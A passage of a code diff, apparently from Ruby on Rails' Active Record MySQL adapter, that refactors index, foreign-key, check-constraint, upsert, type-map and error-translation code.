+        execute("ALTER TABLE #{quote_table_name(table_name)} #{rename_column_for_alter(table_name, column_name, new_column_name)}")
         rename_column_indexes(table_name, column_name, new_column_name)
       end
 
-      def add_index(table_name, column_name, options = {}) #:nodoc:
-        index_name, index_type, index_columns, _, index_algorithm, index_using, comment = add_index_options(table_name, column_name, options)
-        sql = "CREATE #{index_type} INDEX #{quote_column_name(index_name)} #{index_using} ON #{quote_table_name(table_name)} (#{index_columns}) #{index_algorithm}"
-        execute add_sql_comment!(sql, comment)
+      def add_index(table_name, column_name, **options) # :nodoc:
+        create_index = build_create_index_definition(table_name, column_name, **options)
+        return unless create_index
+
+        execute schema_creation.accept(create_index)
+      end
+
+      def build_create_index_definition(table_name, column_name, **options) # :nodoc:
+        index, algorithm, if_not_exists = add_index_options(table_name, column_name, **options)
+
+        return if if_not_exists && index_exists?(table_name, column_name, name: index.name)
+
+        CreateIndexDefinition.new(index, algorithm)
+      end
+
+      def enable_index(table_name, index_name) # :nodoc:
+        raise NotImplementedError unless supports_disabling_indexes?
+
+        query = <<~SQL
+          ALTER TABLE #{quote_table_name(table_name)} ALTER INDEX #{index_name} #{mariadb? ? "NOT IGNORED" : "VISIBLE"}
+        SQL
+        execute(query)
+      end
+
+      def disable_index(table_name, index_name) # :nodoc:
+        raise NotImplementedError unless supports_disabling_indexes?
+
+        query = <<~SQL
+          ALTER TABLE #{quote_table_name(table_name)} ALTER INDEX #{index_name} #{mariadb? ? "IGNORED" : "INVISIBLE"}
+        SQL
+        execute(query)
       end
 
       def add_sql_comment!(sql, comment) # :nodoc:
@@ -516,86 +491,119 @@ def add_sql_comment!(sql, comment) # :nodoc:
       def foreign_keys(table_name)
         raise ArgumentError unless table_name.present?
 
-        schema, name = extract_schema_qualified_name(table_name)
+        scope = quoted_scope(table_name)
 
-        fk_info = select_all(<<-SQL.strip_heredoc, "SCHEMA")
+        # MySQL returns 1 row for each column of composite foreign keys.
+        fk_info = query_all(<<~SQL)
           SELECT fk.referenced_table_name AS 'to_table',
                  fk.referenced_column_name AS 'primary_key',
                  fk.column_name AS 'column',
                  fk.constraint_name AS 'name',
+                 fk.ordinal_position AS 'position',
                  rc.update_rule AS 'on_update',
                  rc.delete_rule AS 'on_delete'
-          FROM information_schema.key_column_usage fk
-          JOIN information_schema.referential_constraints rc
+          FROM information_schema.referential_constraints rc
+          JOIN information_schema.key_column_usage fk
           USING (constraint_schema, constraint_name)
           WHERE fk.referenced_column_name IS NOT NULL
-            AND fk.table_schema = #{quote(schema)}
-            AND fk.table_name = #{quote(name)}
-            AND rc.table_name = #{quote(name)}
+            AND fk.table_schema = #{scope[:schema]}
+            AND fk.table_name = #{scope[:name]}
+            AND rc.constraint_schema = #{scope[:schema]}
+            AND rc.table_name = #{scope[:name]}
         SQL
 
-        fk_info.map do |row|
+        grouped_fk = fk_info.group_by { |row| row["name"] }.values.each { |group| group.sort_by! { |row| row["position"] } }
+        grouped_fk.map do |group|
+          row = group.first
           options = {
-            column: row["column"],
             name: row["name"],
-            primary_key: row["primary_key"]
+            on_update: extract_foreign_key_action(row["on_update"]),
+            on_delete: extract_foreign_key_action(row["on_delete"])
           }
 
-          options[:on_update] = extract_foreign_key_action(row["on_update"])
-          options[:on_delete] = extract_foreign_key_action(row["on_delete"])
+          if group.one?
+            options[:column] = unquote_identifier(row["column"])
+            options[:primary_key] = row["primary_key"]
+          else
+            options[:column] = group.map { |row| unquote_identifier(row["column"]) }
+            options[:primary_key] = group.map { |row| row["primary_key"] }
+          end
 
-          ForeignKeyDefinition.new(table_name, row["to_table"], options)
+          ForeignKeyDefinition.new(table_name, unquote_identifier(row["to_table"]), options)
         end
       end
 
-      def table_options(table_name) # :nodoc:
-        table_options = {}
+      def check_constraints(table_name)
+        if supports_check_constraints?
+          scope = quoted_scope(table_name)
+
+          sql = <<~SQL
+            SELECT cc.constraint_name AS 'name',
+                  cc.check_clause AS 'expression'
+            FROM information_schema.check_constraints cc
+            JOIN information_schema.table_constraints tc
+            USING (constraint_schema, constraint_name)
+            WHERE tc.table_schema = #{scope[:schema]}
+              AND tc.table_name = #{scope[:name]}
+              AND cc.constraint_schema = #{scope[:schema]}
+          SQL
+          sql += " AND cc.table_name = #{scope[:name]}" if mariadb?
+
+          chk_info = query_all(sql)
+
+          chk_info.map do |row|
+            options = {
+              name: row["name"]
+            }
+            expression = row["expression"]
+            expression = expression[1..-2] if expression.start_with?("(") && expression.end_with?(")")
+            expression = strip_whitespace_characters(expression)
+
+            unless mariadb?
+              # MySQL returns check constraints expression in an already escaped form.
+              # This leads to duplicate escaping later (e.g. when the expression is used in the SchemaDumper).
+              expression = expression.gsub("\\'", "'")
+            end
+
+            CheckConstraintDefinition.new(table_name, expression, options)
+          end
+        else
+          raise NotImplementedError
+        end
+      end
 
+      def table_options(table_name) # :nodoc:
         create_table_info = create_table_info(table_name)
 
         # strip create_definitions and partition_options
-        raw_table_options = create_table_info.sub(/\A.*\n\) /m, "").sub(/\n\/\*!.*\*\/\n\z/m, "").strip
+        # Be aware that `create_table_info` might not include any table options due to `NO_TABLE_OPTIONS` sql mode.
+        raw_table_options = create_table_info.sub(/\A.*\n\) ?/m, "").sub(/\n\/\*!.*\*\/\n\z/m, "").strip
+
+        return if raw_table_options.empty?
+
+        table_options = {}
+
+        if / DEFAULT CHARSET=(?<charset>\w+)(?: COLLATE=(?<collation>\w+))?/ =~ raw_table_options
+          raw_table_options = $` + $' # before part + after part
+          table_options[:charset] = charset
+          table_options[:collation] = collation if collation
+        end
 
         # strip AUTO_INCREMENT
         raw_table_options.sub!(/(ENGINE=\w+)(?: AUTO_INCREMENT=\d+)/, '\1')
 
-        table_options[:options] = raw_table_options
-
         # strip COMMENT
         if raw_table_options.sub!(/ COMMENT='.+'/, "")
           table_options[:comment] = table_comment(table_name)
         end
 
+        table_options[:options] = raw_table_options unless raw_table_options == "ENGINE=InnoDB"
         table_options
       end
 
-      # Maps logical Rails types to MySQL-specific data types.
-      def type_to_sql(type, limit: nil, precision: nil, scale: nil, unsigned: nil, **) # :nodoc:
-        sql = \
-          case type.to_s
-          when "integer"
-            integer_to_sql(limit)
-          when "text"
-            text_to_sql(limit)
-          when "blob"
-            binary_to_sql(limit)
-          when "binary"
-            if (0..0xfff) === limit
-              "varbinary(#{limit})"
-            else
-              binary_to_sql(limit)
-            end
-          else
-            super
-          end
-
-        sql << " unsigned" if unsigned && type != :primary_key
-        sql
-      end
-
       # SHOW VARIABLES LIKE 'name'
       def show_variable(name)
-        select_value("SELECT @@#{name}", "SCHEMA")
+        query_value("SELECT @@#{name}")
       rescue ActiveRecord::StatementInvalid
         nil
       end
@@ -603,21 +611,23 @@ def show_variable(name)
       def primary_keys(table_name) # :nodoc:
         raise ArgumentError unless table_name.present?
 
-        schema, name = extract_schema_qualified_name(table_name)
+        scope = quoted_scope(table_name)
 
-        select_values(<<-SQL.strip_heredoc, "SCHEMA")
+        query_values(<<~SQL)
           SELECT column_name
-          FROM information_schema.key_column_usage
-          WHERE constraint_name = 'PRIMARY'
-            AND table_schema = #{quote(schema)}
-            AND table_name = #{quote(name)}
-          ORDER BY ordinal_position
+          FROM information_schema.statistics
+          WHERE index_name = 'PRIMARY'
+            AND table_schema = #{scope[:schema]}
+            AND table_name = #{scope[:name]}
+          ORDER BY seq_in_index
         SQL
       end
 
-      def case_sensitive_comparison(table, attribute, column, value) # :nodoc:
+      def case_sensitive_comparison(attribute, value) # :nodoc:
+        column = column_for_attribute(attribute)
+
         if column.collation && !column.case_sensitive?
-          table[attribute].eq(Arel::Nodes::Bin.new(value))
+          attribute.eq(Arel::Nodes::Bin.new(value))
         else
           super
         end
@@ -631,252 +641,329 @@ def can_perform_case_insensitive_comparison_for?(column)
       # In MySQL 5.7.5 and up, ONLY_FULL_GROUP_BY affects handling of queries that use
       # DISTINCT and ORDER BY. It requires the ORDER BY columns in the select list for
       # distinct queries, and requires that the ORDER BY include the distinct column.
-      # See https://dev.mysql.com/doc/refman/5.7/en/group-by-handling.html
+      # See https://dev.mysql.com/doc/refman/en/group-by-handling.html
       def columns_for_distinct(columns, orders) # :nodoc:
-        order_columns = orders.reject(&:blank?).map { |s|
+        order_columns = orders.compact_blank.map { |s|
           # Convert Arel node to string
-          s = s.to_sql unless s.is_a?(String)
+          s = visitor.compile(s) unless s.is_a?(String)
           # Remove any ASC/DESC modifiers
           s.gsub(/\s+(?:ASC|DESC)\b/i, "")
-        }.reject(&:blank?).map.with_index { |column, i| "#{column} AS alias_#{i}" }
+        }.compact_blank.map.with_index { |column, i| "#{column} AS alias_#{i}" }
 
-        [super, *order_columns].join(", ")
+        (order_columns << super).join(", ")
       end
 
       def strict_mode?
         self.class.type_cast_config_to_boolean(@config.fetch(:strict, true))
       end
 
-      def valid_type?(type)
-        !native_database_types[type].nil?
-      end
-
       def default_index_type?(index) # :nodoc:
         index.using == :btree || super
       end
 
-      private
+      def empty_all_tables # :nodoc:
+        table_names = tables - [pool.schema_migration.table_name, pool.internal_metadata.table_name]
+        return if table_names.empty?
 
-        def initialize_type_map(m)
-          super
+        statements = build_delete_from_statements(table_names)
 
-          register_class_with_limit m, %r(char)i, MysqlString
-
-          m.register_type %r(tinytext)i,   Type::Text.new(limit: 2**8 - 1)
-          m.register_type %r(tinyblob)i,   Type::Binary.new(limit: 2**8 - 1)
-          m.register_type %r(text)i,       Type::Text.new(limit: 2**16 - 1)
-          m.register_type %r(blob)i,       Type::Binary.new(limit: 2**16 - 1)
-          m.register_type %r(mediumtext)i, Type::Text.new(limit: 2**24 - 1)
-          m.register_type %r(mediumblob)i, Type::Binary.new(limit: 2**24 - 1)
-          m.register_type %r(longtext)i,   Type::Text.new(limit: 2**32 - 1)
-          m.register_type %r(longblob)i,   Type::Binary.new(limit: 2**32 - 1)
-          m.register_type %r(^float)i,     Type::Float.new(limit: 24)
-          m.register_type %r(^double)i,    Type::Float.new(limit: 53)
-          m.register_type %r(^json)i,      MysqlJson.new
-
-          register_integer_type m, %r(^bigint)i,    limit: 8
-          register_integer_type m, %r(^int)i,       limit: 4
-          register_integer_type m, %r(^mediumint)i, limit: 3
-          register_integer_type m, %r(^smallint)i,  limit: 2
-          register_integer_type m, %r(^tinyint)i,   limit: 1
-
-          m.register_type %r(^tinyint\(1\))i, Type::Boolean.new if emulate_booleans
-          m.alias_type %r(year)i,          "integer"
-          m.alias_type %r(bit)i,           "binary"
-
-          m.register_type(%r(enum)i) do |sql_type|
-            limit = sql_type[/^enum\((.+)\)/i, 1]
-              .split(",").map { |enum| enum.strip.length - 2 }.max
-            MysqlString.new(limit: limit)
+        # Deleting is generally much faster than truncating in MySQL
+        disable_referential_integrity do
+          execute_batch(statements, "Delete Tables")
+        end
+      end
+
+      def build_insert_sql(insert) # :nodoc:
+        # Can use any column as it will be assigned to itself.
+        no_op_column = quote_column_name(insert.keys.first) if insert.keys.first
+
+        # MySQL 8.0.19 replaces `VALUES(<expression>)` clauses with row and column alias names, see https://dev.mysql.com/worklog/task/?id=6312 .
+        # then MySQL 8.0.20 deprecates the `VALUES(<expression>)` see https://dev.mysql.com/worklog/task/?id=13325 .
+        if supports_insert_raw_alias_syntax?
+          quoted_table_name = insert.model.quoted_table_name
+          values_alias = quote_table_name("#{insert.model.table_name.parameterize}_values")
+          sql = +"INSERT #{insert.into} #{insert.values_list} AS #{values_alias}"
+
+          if insert.skip_duplicates?
+            if no_op_column
+              sql << " ON DUPLICATE KEY UPDATE #{no_op_column}=#{quoted_table_name}.#{no_op_column}"
+            end
+          elsif insert.update_duplicates?
+            if insert.raw_update_sql?
+              sql = +"INSERT #{insert.into} #{insert.values_list} ON DUPLICATE KEY UPDATE #{insert.raw_update_sql}"
+            else
+              sql << " ON DUPLICATE KEY UPDATE "
+              sql << insert.touch_model_timestamps_unless { |column| "#{quoted_table_name}.#{column}<=>#{values_alias}.#{column}" }
+              sql << insert.updatable_columns.map { |column| "#{column}=#{values_alias}.#{column}" }.join(",")
+            end
           end
+        else
+          sql = +"INSERT #{insert.into} #{insert.values_list}"
 
-          m.register_type(%r(^set)i) do |sql_type|
-            limit = sql_type[/^set\((.+)\)/i, 1]
-              .split(",").map { |set| set.strip.length - 1 }.sum - 1
-            MysqlString.new(limit: limit)
+          if insert.skip_duplicates?
+            if no_op_column
+              sql << " ON DUPLICATE KEY UPDATE #{no_op_column}=#{no_op_column}"
+            end
+          elsif insert.update_duplicates?
+            sql << " ON DUPLICATE KEY UPDATE "
+            if insert.raw_update_sql?
+              sql << insert.raw_update_sql
+            else
+              sql << insert.touch_model_timestamps_unless { |column| "#{column}<=>VALUES(#{column})" }
+              sql << insert.updatable_columns.map { |column| "#{column}=VALUES(#{column})" }.join(",")
+            end
           end
         end
 
-        def register_integer_type(mapping, key, options)
-          mapping.register_type(key) do |sql_type|
-            if /\bunsigned\b/.match?(sql_type)
-              Type::UnsignedInteger.new(options)
-            else
-              Type::Integer.new(options)
+        sql << " RETURNING #{insert.returning}" if insert.returning
+        sql
+      end
+
+      def check_version # :nodoc:
+        if database_version < "5.6.4"
+          raise DatabaseVersionError, "Your version of MySQL (#{database_version}) is too old. Active Record supports MySQL >= 5.6.4."
+        end
+      end
+
+      #--
+      # QUOTING ==================================================
+      #++
+
+      # Quotes strings for use in SQL input.
+      def quote_string(string)
+        with_raw_connection(allow_retry: true, materialize_transactions: false) do |connection|
+          connection.escape(string)
+        end
+      end
+
+      class << self
+        def extended_type_map(default_timezone: nil, emulate_booleans:) # :nodoc:
+          super(default_timezone: default_timezone).tap do |m|
+            if emulate_booleans
+              m.register_type %r(^tinyint\(1\))i, Type::Boolean.new
             end
           end
         end
 
-        def extract_precision(sql_type)
-          if /time/.match?(sql_type)
-            super || 0
-          else
+        private
+          def initialize_type_map(m)
             super
+
+            m.register_type %r(tinytext)i,   Type::Text.new(limit: 2**8 - 1)
+            m.register_type %r(tinyblob)i,   Type::Binary.new(limit: 2**8 - 1)
+            m.register_type %r(text)i,       Type::Text.new(limit: 2**16 - 1)
+            m.register_type %r(blob)i,       Type::Binary.new(limit: 2**16 - 1)
+            m.register_type %r(mediumtext)i, Type::Text.new(limit: 2**24 - 1)
+            m.register_type %r(mediumblob)i, Type::Binary.new(limit: 2**24 - 1)
+            m.register_type %r(longtext)i,   Type::Text.new(limit: 2**32 - 1)
+            m.register_type %r(longblob)i,   Type::Binary.new(limit: 2**32 - 1)
+            m.register_type %r(^float)i,     Type::Float.new(limit: 24)
+            m.register_type %r(^double)i,    Type::Float.new(limit: 53)
+
+            register_integer_type m, %r(^bigint)i,    limit: 8
+            register_integer_type m, %r(^int)i,       limit: 4
+            register_integer_type m, %r(^mediumint)i, limit: 3
+            register_integer_type m, %r(^smallint)i,  limit: 2
+            register_integer_type m, %r(^tinyint)i,   limit: 1
+
+            m.alias_type %r(year)i, "integer"
+            m.alias_type %r(bit)i,  "binary"
           end
-        end
 
-        def fetch_type_metadata(sql_type, extra = "")
-          MySQL::TypeMetadata.new(super(sql_type), extra: extra)
-        end
+          def register_integer_type(mapping, key, limit:)
+            mapping.register_type(key) do |sql_type|
+              if /\bunsigned\b/.match?(sql_type)
+                Type::UnsignedInteger.new(limit: limit)
+              else
+                Type::Integer.new(limit: limit)
+              end
+            end
+          end
 
-        def add_index_length(quoted_columns, **options)
-          if length = options[:length]
-            case length
-            when Hash
-              length = length.symbolize_keys
-              quoted_columns.each { |name, column| column << "(#{length[name]})" if length[name].present? }
-            when Integer
-              quoted_columns.each { |name, column| column << "(#{length})" }
+          def extract_precision(sql_type)
+            if /\A(?:date)?time(?:stamp)?\b/.match?(sql_type)
+              super || 0
+            else
+              super
             end
           end
+      end
 
-          quoted_columns
+      EXTENDED_TYPE_MAPS = Concurrent::Map.new
+      EMULATE_BOOLEANS_TRUE = { emulate_booleans: true }.freeze
+
+      private
+        def strip_whitespace_characters(expression)
+          expression.gsub('\\\n', "").gsub("x0A", "").squish
         end
 
-        def add_options_for_index_columns(quoted_columns, **options)
-          quoted_columns = add_index_length(quoted_columns, options)
-          super
+        def extended_type_map_key
+          if @default_timezone
+            { default_timezone: @default_timezone, emulate_booleans: emulate_booleans }
+          elsif emulate_booleans
+            EMULATE_BOOLEANS_TRUE
+          end
+        end
+
+        def handle_warnings(_initial_result, sql)
+          return if ActiveRecord.db_warnings_action.nil? || @raw_connection.warning_count == 0
+
+          warning_count = @raw_connection.warning_count
+          result = @raw_connection.query("SHOW WARNINGS")
+          result = [
+            ["Warning", nil, "Query had warning_count=#{warning_count} but `SHOW WARNINGS` did not return the warnings. Check MySQL logs or database configuration."],
+          ] if result.count == 0
+          result.each do |level, code, message|
+            warning = SQLWarning.new(message, code, level, sql, @pool)
+            next if warning_ignored?(warning)
+
+            ActiveRecord.db_warnings_action.call(warning)
+          end
+        end
+
+        def warning_ignored?(warning)
+          warning.level == "Note" || super
         end
 
-        # See https://dev.mysql.com/doc/refman/5.7/en/error-messages-server.html
+        # See https://dev.mysql.com/doc/mysql-errors/en/server-error-reference.html
+        ER_DB_CREATE_EXISTS     = 1007
+        ER_FILSORT_ABORT        = 1028
         ER_DUP_ENTRY            = 1062
+        ER_SERVER_SHUTDOWN      = 1053
         ER_NOT_NULL_VIOLATION   = 1048
+        ER_NO_REFERENCED_ROW    = 1216
+        ER_ROW_IS_REFERENCED    = 1217
         ER_DO_NOT_HAVE_DEFAULT  = 1364
+        ER_ROW_IS_REFERENCED_2  = 1451
         ER_NO_REFERENCED_ROW_2  = 1452
         ER_DATA_TOO_LONG        = 1406
         ER_OUT_OF_RANGE         = 1264
         ER_LOCK_DEADLOCK        = 1213
         ER_CANNOT_ADD_FOREIGN   = 1215
         ER_CANNOT_CREATE_TABLE  = 1005
-
-        def translate_exception(exception, message)
+        ER_LOCK_WAIT_TIMEOUT    = 1205
+        ER_QUERY_INTERRUPTED    = 1317
+        ER_CONNECTION_KILLED    = 1927
+        CR_SERVER_GONE_ERROR    = 2006
+        CR_SERVER_LOST          = 2013
+        ER_QUERY_TIMEOUT        = 3024
+        ER_FK_INCOMPATIBLE_COLUMNS = 3780
+        ER_CHECK_CONSTRAINT_VIOLATED = 3819
+        ER_CONSTRAINT_FAILED = 4025
+        ER_CLIENT_INTERACTION_TIMEOUT = 4031
+
+        def translate_exception(exception, message:, sql:, binds:)
           case error_number(exception)
+          when nil
+            if exception.message.match?(/MySQL client is not connected/i)
+              ConnectionNotEstablished.new(exception, connection_pool: @pool)
+            else
+              super
+            end
+          when ER_CONNECTION_KILLED, ER_SERVER_SHUTDOWN, CR_SERVER_GONE_ERROR, CR_SERVER_LOST, ER_CLIENT_INTERACTION_TIMEOUT
+            ConnectionFailed.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when ER_DB_CREATE_EXISTS
+            DatabaseAlreadyExists.new(message, sql: sql, binds: binds, connection_pool: @pool)
           when ER_DUP_ENTRY
-            RecordNotUnique.new(message)
-          when ER_NO_REFERENCED_ROW_2
-            InvalidForeignKey.new(message)
-          when ER_CANNOT_ADD_FOREIGN
-            mismatched_foreign_key(message)
+            RecordNotUnique.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when ER_NO_REFERENCED_ROW, ER_ROW_IS_REFERENCED, ER_ROW_IS_REFERENCED_2, ER_NO_REFERENCED_ROW_2
+            InvalidForeignKey.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when ER_CANNOT_ADD_FOREIGN, ER_FK_INCOMPATIBLE_COLUMNS
+            mismatched_foreign_key(message, sql: sql, binds: binds, connection_pool: @pool)
           when ER_CANNOT_CREATE_TABLE
             if message.include?("errno: 150")
-              mismatched_foreign_key(message)
+              mismatched_foreign_key(message, sql: sql, binds: binds, connection_pool: @pool)
             else
               super
             end
           when ER_DATA_TOO_LONG
-            ValueTooLong.new(message)
+            ValueTooLong.new(message, sql: sql, binds: binds, connection_pool: @pool)
           when ER_OUT_OF_RANGE
-            RangeError.new(message)
+            RangeError.new(message, sql: sql, binds: binds, connection_pool: @pool)
           when ER_NOT_NULL_VIOLATION, ER_DO_NOT_HAVE_DEFAULT
-            NotNullViolation.new(message)
+            NotNullViolation.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when ER_CHECK_CONSTRAINT_VIOLATED, ER_CONSTRAINT_FAILED
+            CheckViolation.new(message, sql: sql, binds: binds, connection_pool: @pool)
           when ER_LOCK_DEADLOCK
-            Deadlocked.new(message)
+            Deadlocked.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when ER_LOCK_WAIT_TIMEOUT
+            LockWaitTimeout.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when ER_QUERY_TIMEOUT, ER_FILSORT_ABORT
+            StatementTimeout.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when ER_QUERY_INTERRUPTED
+            QueryCanceled.new(message, sql: sql, binds: binds, connection_pool: @pool)
           else
             super
           end
         end
 
-        def add_column_sql(table_name, column_name, type, options = {})
-          td = create_table_definition(table_name)
-          cd = td.new_column_definition(column_name, type, options)
-          schema_creation.accept(AddColumnDefinition.new(cd))
+        def change_column_for_alter(table_name, column_name, type, **options)
+          cd = build_change_column_definition(table_name, column_name, type, **options)
+          schema_creation.accept(cd)
         end
 
-        def change_column_sql(table_name, column_name, type, options = {})
-          column = column_for(table_name, column_name)
-
-          unless options_include_default?(options)
-            options[:default] = column.default
-          end
-
-          unless options.has_key?(:null)
-            options[:null] = column.null
-          end
+        def rename_column_for_alter(table_name, column_name, new_column_name)
+          return rename_column_sql(table_name, column_name, new_column_name) if supports_rename_column?
 
-          unless options.key?(:comment)
-            options[:comment] = column.comment
-          end
-
-          td = create_table_definition(table_name)
-          cd = td.new_column_definition(column.name, type, options)
-          schema_creation.accept(ChangeColumnDefinition.new(cd, column.name))
-        end
-
-        def rename_column_sql(table_name, column_name, new_column_name)
           column  = column_for(table_name, column_name)
           options = {
             default: column.default,
             null: column.null,
-            auto_increment: column.auto_increment?
+            auto_increment: column.auto_increment?,
+            comment: column.comment
           }
 
-          current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'", "SCHEMA")["Type"]
+          current_type = query_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE #{quote(column_name)}")["Type"]
           td = create_table_definition(table_name)
-          cd = td.new_column_definition(new_column_name, current_type, options)
+          cd = td.new_column_definition(new_column_name, current_type, **options)
           schema_creation.accept(ChangeColumnDefinition.new(cd, column.name))
         end
 
-        def remove_column_sql(table_name, column_name, type = nil, options = {})
-          "DROP #{quote_column_name(column_name)}"
-        end
-
-        def remove_columns_sql(table_name, *column_names)
-          column_names.map { |column_name| remove_column_sql(table_name, column_name) }
-        end
-
-        def add_index_sql(table_name, column_name, options = {})
-          index_name, index_type, index_columns, _, index_algorithm, index_using = add_index_options(table_name, column_name, options)
-          index_algorithm[0, 0] = ", " if index_algorithm.present?
-          "ADD #{index_type} INDEX #{quote_column_name(index_name)} #{index_using} (#{index_columns})#{index_algorithm}"
-        end
+        def add_index_for_alter(table_name, column_name, **options)
+          index, algorithm, _ = add_index_options(table_name, column_name, **options)
+          algorithm = ", #{algorithm}" if algorithm
 
-        def remove_index_sql(table_name, options = {})
-          index_name = index_name_for_remove(table_name, options)
-          "DROP INDEX #{index_name}"
+          "ADD #{schema_creation.accept(index)}#{algorithm}"
         end
 
-        def add_timestamps_sql(table_name, options = {})
-          [add_column_sql(table_name, :created_at, :datetime, options), add_column_sql(table_name, :updated_at, :datetime, options)]
+        def remove_index_for_alter(table_name, column_name = nil, **options)
+          index_name = index_name_for_remove(table_name, column_name, options)
+          "DROP INDEX #{quote_column_name(index_name)}"
         end
 
-        def remove_timestamps_sql(table_name, options = {})
-          [remove_column_sql(table_name, :updated_at), remove_column_sql(table_name, :created_at)]
+        def supports_insert_raw_alias_syntax?
+          !mariadb? && database_version >= "8.0.19"
         end
 
-        # MySQL is too stupid to create a temporary table for use subquery, so we have
-        # to give it some prompting in the form of a subsubquery. Ugh!
-        def subquery_for(key, select)
-          subsubselect = select.clone
-          subsubselect.projections = [key]
-
-          # Materialize subquery by adding distinct
-          # to work with MySQL 5.7.6 which sets optimizer_switch='derived_merge=on'
-          subsubselect.distinct unless select.limit || select.offset || select.orders.any?
-
-          subselect = Arel::SelectManager.new(select.engine)
-          subselect.project Arel.sql(key.name)
-          subselect.from subsubselect.as("__active_record_temp")
+        def supports_rename_index?
+          if mariadb?
+            database_version >= "10.5.2"
+          else
+            database_version >= "5.7.6"
+          end
         end
 
-        def supports_rename_index?
-          mariadb? ? false : version >= "5.7.6"
+        def supports_rename_column?
+          if mariadb?
+            database_version >= "10.5.2"
+          else
+            database_version >= "8.0.3"
+          end
         end
 
         def configure_connection
+          super
           variables = @config.fetch(:variables, {}).stringify_keys
 
-          # By default, MySQL 'where id is null' selects the last inserted id; Turn this off.
-          variables["sql_auto_is_null"] = 0
-
           # Increase timeout so the server doesn't disconnect us.
-          wait_timeout = @config[:wait_timeout]
+          wait_timeout = self.class.type_cast_config_to_integer(@config[:wait_timeout])
           wait_timeout = 2147483 unless wait_timeout.is_a?(Integer)
-          variables["wait_timeout"] = self.class.type_cast_config_to_integer(wait_timeout)
+          variables["wait_timeout"] = wait_timeout
 
           defaults = [":default", :default].to_set
 
           # Make MySQL reject illegal values rather than truncating or blanking them, see
-          # http://dev.mysql.com/doc/refman/5.7/en/sql-mode.html#sqlmode_strict_all_tables
+          # https://dev.mysql.com/doc/refman/en/sql-mode.html#sqlmode_strict_all_tables
           # If the user has provided another value for sql_mode, don't replace it.
           if sql_mode = variables.delete("sql_mode")
             sql_mode = quote(sql_mode)
@@ -893,129 +980,96 @@ def configure_connection
           sql_mode_assignment = "@@SESSION.sql_mode = #{sql_mode}, " if sql_mode
 
           # NAMES does not have an equals sign, see
-          # http://dev.mysql.com/doc/refman/5.7/en/set-statement.html#id944430
+          # https://dev.mysql.com/doc/refman/en/set-names.html
           # (trailing comma because variable_assignments will always have content)
           if @config[:encoding]
-            encoding = "NAMES #{@config[:encoding]}"
+            encoding = +"NAMES #{@config[:encoding]}"
             encoding << " COLLATE #{@config[:collation]}" if @config[:collation]
             encoding << ", "
           end
 
           # Gather up all of the SET variables...
-          variable_assignments = variables.map do |k, v|
+          variable_assignments = variables.filter_map do |k, v|
             if defaults.include?(v)
               "@@SESSION.#{k} = DEFAULT" # Sets the value to the global or compile default
             elsif !v.nil?
               "@@SESSION.#{k} = #{quote(v)}"
             end
-            # or else nil; compact to clear nils out
-          end.compact.join(", ")
+          end.join(", ")
 
           # ...and send them all in one query
-          execute "SET #{encoding} #{sql_mode_assignment} #{variable_assignments}"
+          intent = QueryIntent.new(
+            adapter: self,
+            processed_sql: "SET #{encoding} #{sql_mode_assignment} #{variable_assignments}",
+            name: "SCHEMA"
+          )
+          intent.execute!
+          intent.finish
         end
 
         def column_definitions(table_name) # :nodoc:
-          execute_and_free("SHOW FULL FIELDS FROM #{quote_table_name(table_name)}", "SCHEMA") do |result|
-            each_hash(result)
-          end
-        end
-
-        def extract_foreign_key_action(specifier) # :nodoc:
-          case specifier
-          when "CASCADE"; :cascade
-          when "SET NULL"; :nullify
-          end
+          query_all("SHOW FULL FIELDS FROM #{quote_table_name(table_name)}")
         end
 
         def create_table_info(table_name) # :nodoc:
-          select_one("SHOW CREATE TABLE #{quote_table_name(table_name)}")["Create Table"]
+          query_one("SHOW CREATE TABLE #{quote_table_name(table_name)}")["Create Table"]
         end
 
-        def create_table_definition(*args) # :nodoc:
-          MySQL::TableDefinition.new(*args)
+        def arel_visitor
+          Arel::Visitors::MySQL.new(self)
         end
 
-        def mismatched_foreign_key(message)
-          parts = message.scan(/`(\w+)`[ $)]/).flatten
-          MismatchedForeignKey.new(
-            self,
-            message: message,
-            table: parts[0],
-            foreign_key: parts[1],
-            target_table: parts[2],
-            primary_key: parts[3],
-          )
+        def build_statement_pool
+          StatementPool.new(self.class.type_cast_config_to_integer(@config[:statement_limit]))
         end
 
-        def extract_schema_qualified_name(string) # :nodoc:
-          schema, name = string.to_s.scan(/[^`.\s]+|`[^`]*`/)
-          schema, name = @config[:database], schema unless name
-          [schema, name]
-        end
+        def mismatched_foreign_key_details(message:, sql:)
+          foreign_key_pat =
+            /Referencing column '(\w+)' and referenced/i =~ message ? $1 : '\w+'
 
-        def integer_to_sql(limit) # :nodoc:
-          case limit
-          when 1; "tinyint"
-          when 2; "smallint"
-          when 3; "mediumint"
-          when nil, 4; "int"
-          when 5..8; "bigint"
-          else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a decimal with scale 0 instead.")
-          end
-        end
+          match = %r/
+            (?:CREATE|ALTER)\s+TABLE\s*(?:`?\w+`?\.)?`?(?<table>\w+)`?.+?
+            FOREIGN\s+KEY\s*\(`?(?<foreign_key>#{foreign_key_pat})`?\)\s*
+            REFERENCES\s*(`?(?<target_table>\w+)`?)\s*\(`?(?<primary_key>\w+)`?\)
+          /xmi.match(sql)
 
-        def text_to_sql(limit) # :nodoc:
-          case limit
-          when 0..0xff;               "tinytext"
-          when nil, 0x100..0xffff;    "text"
-          when 0x10000..0xffffff;     "mediumtext"
-          when 0x1000000..0xffffffff; "longtext"
-          else raise(ActiveRecordError, "No text type has byte length #{limit}")
-          end
-        end
+          options = {}
 
-        def binary_to_sql(limit) # :nodoc:
-          case limit
-          when 0..0xff;               "tinyblob"
-          when nil, 0x100..0xffff;    "blob"
-          when 0x10000..0xffffff;     "mediumblob"
-          when 0x1000000..0xffffffff; "longblob"
-          else raise(ActiveRecordError, "No binary type has byte length #{limit}")
+          if match
+            options[:table] = match[:table]
+            options[:foreign_key] = match[:foreign_key]
+            options[:target_table] = match[:target_table]
+            options[:primary_key] = match[:primary_key]
+            options[:primary_key_column] = column_for(match[:target_table], match[:primary_key])
           end
-        end
 
